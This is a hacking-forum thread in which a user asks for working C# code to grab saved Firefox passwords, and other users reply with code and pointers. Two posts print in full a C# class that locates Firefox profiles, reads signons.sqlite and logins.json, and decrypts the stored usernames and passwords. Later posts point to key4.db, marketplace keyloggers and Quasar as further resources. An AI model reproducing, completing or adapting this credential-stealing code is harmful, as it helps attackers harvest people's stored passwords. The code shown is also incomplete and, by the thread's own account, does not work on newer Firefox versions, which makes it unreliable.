

Forum:[Hack Forums](#)

Thread: [\[c#\] FireFox Password Grabber](#)

Grooty - January 9, 2019, 2:02 am

Hi guys, share the work code of the password grabber with FireFox - Mozilla. Working examples are not found.

I need a C# code.

riu41776 - January 9, 2019, 5:00 am

I just googled "firefox stealer c#" and received a lot of relevant results. Did you try to google?

3DES - January 10, 2019, 1:58 am

(Jan 9, 2019 03:02 AM)Grooty Wrote: [\[CITE\]](#) Hi guys, share the work code of the password grabber with FireFox - Mozilla. Working examples are not found.

I need a C# code.FF open source, you can directly look at the source and figure out how to decrypt.

Grooty - January 19, 2019, 10:51 am

(Jan 10, 2019 02:58 AM)3DES Wrote: [\[CITE\]](#) FF open source, you can directly look at the source and figure out how to decrypt.

There all the old examples and not working 100 times already checked.

3DES - January 19, 2019, 12:07 pm

(Jan 19, 2019 11:51 AM)Grooty Wrote: [\[CITE\]](#) There all the old examples and not working 100 times already checked.

Heard of debugging? nobody is going to do the work for u

Grooty - January 19, 2019, 12:11 pm

(Jan 19, 2019 01:07 PM)3DES Wrote: [\[CITE\]](#) Heard of debugging? nobody is going to do the work for u

Heard wise guy! And you do not stick your nose in these matters from you there is no use!

realsunjester - January 19, 2019, 12:13 pm

<https://github.com/jabiel/BrowserPass>

```
Code using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Data.SQLite;
using System.IO;
```

```
namespace BrowserPass
{
    class FirefoxPassReader : IPassReader
    {
        public string BrowserName { get { return "Firefox"; } }
        public IEnumerable<CredentialModel> ReadPasswords()
        {
```

```

string signonsFile = null;
string loginsFile = null;
bool signonsFound = false;
bool loginsFound = false;
string[] dirs =
Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Ap
plicationData), "Mozilla\\Firefox\\Profiles"));

var logins = new List<CredentialModel>();
if (dirs.Length == 0)
    return logins;

foreach (string dir in dirs)
{
    string[] files = Directory.GetFiles(dir, "signons.sqlite");
    if (files.Length > 0)
    {
        signonsFile = files[0];
        signonsFound = true;
    }

    // find "logins.json" file
    files = Directory.GetFiles(dir, "logins.json");
    if (files.Length > 0)
    {
        loginsFile = files[0];
        loginsFound = true;
    }

    if (loginsFound || signonsFound)
    {
        FFDecryptor.NSS_Init(dir);
        break;
    }
}

if (signonsFound)
{
    using (var conn = new SQLiteConnection("Data Source=" + signonsFile + ".sdb"))
    {
        conn.Open();
        using (var command = conn.CreateCommand())
        {
            command.CommandText = "SELECT encryptedUsername, encryptedPassword,
hostname FROM moz_logins";
            using (var reader = command.ExecuteReader())
            {
                while (reader.Read())
                {
                    string username = FFDecryptor.Decrypt(reader.GetString(0));
                    string password = FFDecryptor.Decrypt(reader.GetString(1));
                }
            }
        }
    }
}

```

```

        logins.Add(new CredentialModel
        {
            Username = username,
            Password = password,
            Url = reader.GetString(2)
        });
    }
}
conn.Close();
}
}

if (loginsFound)
{
    FFLogins ffLoginData;
    using (StreamReader sr = new StreamReader(loginsFile))
    {
        string json = sr.ReadToEnd();
        ffLoginData = JsonConvert.DeserializeObject<FFLogins>(json);
    }

    foreach (LoginData loginData in ffLoginData.logins)
    {
        string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
        string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
        logins.Add(new CredentialModel
        {
            Username = username,
            Password = password,
            Url = loginData.hostname
        });
    }
}
return logins;
}

class FFLogins
{
    public long nextId { get; set; }
    public LoginData[] logins { get; set; }
    public string[] disabledHosts { get; set; }
    public int version { get; set; }
}

class LoginData
{
    public long id { get; set; }
    public string hostname { get; set; }
    public string url { get; set; }
    public string httprealm { get; set; }
    public string formSubmitURL { get; set; }
}

```

```

        public string usernameField { get; set; }
        public string passwordField { get; set; }
        public string encryptedUsername { get; set; }
        public string encryptedPassword { get; set; }
        public string guid { get; set; }
        public int encType { get; set; }
        public long timeCreated { get; set; }
        public long timeLastUsed { get; set; }
        public long timePasswordChanged { get; set; }
        public long timesUsed { get; set; }
    }
}
}

```

Vyxn - January 19, 2019, 7:04 pm

(Jan 19, 2019 01:13 PM)realsunjester Wrote: [\[CITE\] https://github.com/jabiel/BrowserPass](https://github.com/jabiel/BrowserPass)

```

Code using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Data.SQLite;
using System.IO;

```

```

namespace BrowserPass
{
    class FirefoxPassReader : IPassReader
    {
        public string BrowserName { get { return "Firefox"; } }
        public IEnumerable<CredentialModel> ReadPasswords()
        {
            string signonsFile = null;
            string loginsFile = null;
            bool signonsFound = false;
            bool loginsFound = false;
            string[] dirs =

```

```

Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.App
licationData), "Mozilla\Firefox\Profiles"));

```

```

        var logins = new List<CredentialModel>();
        if (dirs.Length == 0)
            return logins;

        foreach (string dir in dirs)
        {
            string[] files = Directory.GetFiles(dir, "signons.sqlite");
            if (files.Length > 0)
            {
                signonsFile = files[0];
                signonsFound = true;
            }

            // find "logins.json" file
            files = Directory.GetFiles(dir, "logins.json");

```

```

        if (files.Length > 0)
        {
            loginsFile = files[0];
            loginsFound = true;
        }

        if (loginsFound || signonsFound)
        {
            FFDecryptor.NSS_Init(dir);
            break;
        }
    }

    if (signonsFound)
    {
        using (var conn = new SQLiteConnection("Data Source=" + signonsFile + ".db"))
        {
            conn.Open();
            using (var command = conn.CreateCommand())
            {
                command.CommandText = "SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins";
                using (var reader = command.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        string username = FFDecryptor.Decrypt(reader.GetString(0));
                        string password = FFDecryptor.Decrypt(reader.GetString(1));

                        logins.Add(new CredentialModel
                        {
                            Username = username,
                            Password = password,
                            Url = reader.GetString(2)
                        });
                    }
                }
            }
            conn.Close();
        }
    }

    if (loginsFound)
    {
        FFLogins ffLoginData;
        using (StreamReader sr = new StreamReader(loginsFile))
        {
            string json = sr.ReadToEnd();
            ffLoginData = JsonConvert.DeserializeObject<FFLogins>(json);
        }
    }

```

```

foreach (LoginData loginData in ffLoginData.logins)
{
    string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
    string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
    logins.Add(new CredentialModel
    {
        Username = username,
        Password = password,
        Url = loginData.hostname
    });
}
}
return logins;
}

class FFLogins
{
    public long nextId { get; set; }
    public LoginData[] logins { get; set; }
    public string[] disabledHosts { get; set; }
    public int version { get; set; }
}

class LoginData
{
    public long id { get; set; }
    public string hostname { get; set; }
    public string url { get; set; }
    public string httprealm { get; set; }
    public string formSubmitURL { get; set; }
    public string usernameField { get; set; }
    public string passwordField { get; set; }
    public string encryptedUsername { get; set; }
    public string encryptedPassword { get; set; }
    public string guid { get; set; }
    public int encType { get; set; }
    public long timeCreated { get; set; }
    public long timeLastUsed { get; set; }
    public long timePasswordChanged { get; set; }
    public long timesUsed { get; set; }
}
}
}

```

Hope he knew how these things work.

Grooty - January 20, 2019, 12:46 am

Vyxn, It does not work again!

Does anyone have a working draft for a new version ?!

Ramb0x - January 20, 2019, 4:21 pm

I read somewhere that key4.db is in new firefox, you gotta code reader for that.

Grooty - January 20, 2019, 11:38 pm

(Jan 20, 2019 05:21 PM)spix Wrote: [\[CITE\]](#) I read somewhere that key4.db is in new firefox, you gotta code reader for that.

Yes, I'm looking for a working way to get passwords from the new version of Firefox. But they give me links to the old: (

deiski - January 21, 2019, 2:22 pm

(Jan 19, 2019 08:04 PM)Vyxn Wrote: [\[CITE\]](#) Hope he knew how these things work.

Nice code, however he's going to paste that straight into his Button1 code then proceed to ask why it doesn't work.

Grooty - January 22, 2019, 2:24 am

(Jan 21, 2019 03:22 PM)deiski Wrote: [\[CITE\]](#) Nice code, however he's going to paste that straight into his Button1 code then proceed to ask why it doesn't work.

Do you even understand what you said?

Your message is meaningless. Do not flood the empty messages that do not carry any meaning!

deiski - January 22, 2019, 2:59 pm

(Jan 22, 2019 03:24 AM)Grooty Wrote: [\[CITE\]](#) Do you even understand what you said?

Your message is meaningless. Do not flood the empty messages that do not carry any meaning!

Do you even understand basic English?

Think about it, then come back to me.

Aristocles - January 23, 2019, 5:34 am

(Jan 21, 2019 12:38 AM)Grooty Wrote: [\[CITE\]](#) Yes, I'm looking for a working way to get passwords from the new version of Firefox. But they give me links to the old: (

if you got stuck you can check how keyloggers on the marketplace do, but it's easy to find resources online about parsing that new file

Dotexe - January 23, 2019, 5:43 am

As far as i know Quasar has such function. But if you don't know the basics of c# just do not even bother trying